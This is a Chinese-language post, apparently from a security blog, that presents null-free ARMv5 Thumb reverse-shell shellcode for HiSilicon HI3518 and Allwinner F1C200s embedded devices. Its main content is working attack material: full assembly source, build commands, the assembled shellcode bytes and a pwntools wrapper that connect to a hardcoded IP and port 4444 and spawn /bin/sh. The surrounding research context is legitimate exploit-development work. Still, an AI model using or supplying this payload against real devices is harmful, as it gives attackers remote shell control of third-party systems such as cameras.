最近需要在一个采用了海思解决方案HI3518 CV100(armv5l)的设备上打一个反连并且没有空字节的shellcode,但是网上直接找shellcode大部分都是在armv7l上测试成功的,能够在armv5l的指令集上兼容的shellcode并不多。并且设备上的busybox的启动sh时,execve的第二个参数也必须布置好,否则会启动失败,网上的大多shellcode第二个参都是直接0。最后拼接了两位前辈(rtmcx、Ken Kitahara)的shellcode,并在HI3518 CV100、 Allwinner F1C200s上测试通过。
在修改shellcode的过程中要注意adr
指令所使用的地址需4字节对齐,故可以使用eor r7, r7, r7
这种填充指令完成对齐:
/*
* Title: Linux/ARM - Reverse Shell TCP (execve("/bin/sh", ["/bin/sh"], NULL)). Null free shellcode (84 bytes)
* Date: 2021-06-16
* Tested: armv5l (HI3518 CV100, Allwinner F1C200s)
* Author: rtmcx - twitter: @rtmcx (https://www.exploit-db.com/shellcodes/43921)
* Author: Ken Kitahara (https://www.exploit-db.com/shellcodes/45290)
*/
.section .text
.global _start
_start:
/* Enter Thumb mode */
.ARM
add r3, pc, #1
bx r3
.THUMB
/* Create a new socket*/
mov r0, #2 // PF_INET = 2
mov r1, #1 // SOCK_STREAM = 1
eor r2, r2, r2 // Zero out r2
mov r7, #100 // Put 281 in r7..
add r7, #181 // ..in a 2-step operation
svc #1 // syscall returns sockid in r0
mov r4, r0 // Save sockid in r4
/* Connect to client */
adr r1, struct_addr // Address to struct_addr
strb r2, [r1, #1] // Replace AF_INET with NULL
mov r2, #16 // Address length
add r7, #2 // r7 already contains 281, so add 2 = 283
svc #1 // Client sockid will be returned in r0
/* Duplicate STDIN, STDOUT and STERR */
mov r0, r4 // Saved sockid
eor r1, r1, r1 // Zero r1 for STDIN
mov r7, #63 // Syscall for dup2
svc #1 // Execute syscall
mov r0, r4 // Saved sockid
add r1, #1 // STDOUT (1)
svc #1 // Execute syscall
mov r0, r4 // Saved sockid
add r1, #1 // STDERR (2)
svc #1 // Execute syscall
/* Execute shell */
adr r0, spawn
eor r2, r2, r2
strb r2, [r0, #7]
push {r0, r2}
mov r1, sp
mov r7, #11
svc #1
/* adjust address */
eor r7, r7, r7
spawn:
.ascii "/bin/shA"
struct_addr:
.ascii "\x02\xaa" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port 4444
.ascii "\x14\x14\x0b\x0d" // IP Address (20.20.11.14)
/*
Compile and link with:
# arm-linux-gnueabi-as -o shellcode.o shellcode.s
# arm-linux-gnueabi-ld -N shellcode.o -o shellcode
# arm-linux-gnueabi-objcopy -O binary --only-section=.text shellcode shellcode.text
shellcode = '\x01\x30\x8F\xE2\x13\xFF\x2F\xE1\x02\x20\x01\x21\x52\x40\x64\x27'
shellcode += '\xB5\x37\x01\xDF\x04\x1C\x0D\xA1\x4A\x70\x10\x22\x02\x37\x01\xDF'
shellcode += '\x20\x1C\x49\x40\x3F\x27\x01\xDF\x20\x1C\x01\x31\x01\xDF\x20\x1C'
shellcode += '\x01\x31\x01\xDF\x03\xA0\x52\x40\xC2\x71\x05\xB4\x69\x46\x0B\x27'
shellcode += '\x01\xDF\x7F\x40\x2F\x62\x69\x6E\x2F\x73\x68\x41\x02\xAA\x11\x5C'
shellcode += '\x14\x14\x0B\x0D'
*/
可以直接使用编译出来的ELF进行测试,也可以使用pwntools对shellcode进行封装:
from pwn import *
context(arch='arm')
shellcode = '\x01\x30\x8F\xE2\x13\xFF\x2F\xE1\x02\x20\x01\x21\x52\x40\x64\x27'
shellcode += '\xB5\x37\x01\xDF\x04\x1C\x0D\xA1\x4A\x70\x10\x22\x02\x37\x01\xDF'
shellcode += '\x20\x1C\x49\x40\x3F\x27\x01\xDF\x20\x1C\x01\x31\x01\xDF\x20\x1C'
shellcode += '\x01\x31\x01\xDF\x03\xA0\x52\x40\xC2\x71\x05\xB4\x69\x46\x0B\x27'
shellcode += '\x01\xDF\x7F\x40\x2F\x62\x69\x6E\x2F\x73\x68\x41\x02\xAA\x11\x5C'
shellcode += '\x14\x14\x0B\x0D'
a = make_elf(shellcode)
f = open('shellcode','wb')
f.write(a)
f.close()
测试的SoC信息如下:
# cat /proc/cpuinfo
processor : 0
model name : ARM926EJ-S rev 5 (v5l)
BogoMIPS : 203.16
Features : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 5
Hardware : Allwinner suniv Family
Revision : 0000
Serial : 0000000000000000
# cat /proc/cpuinfo
Processor : ARM926EJ-S rev 5 (v5l)
BogoMIPS : 218.72
Features : swp half fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 5
Hardware : hi3518
Revision : 0000
Serial : 0000000000000000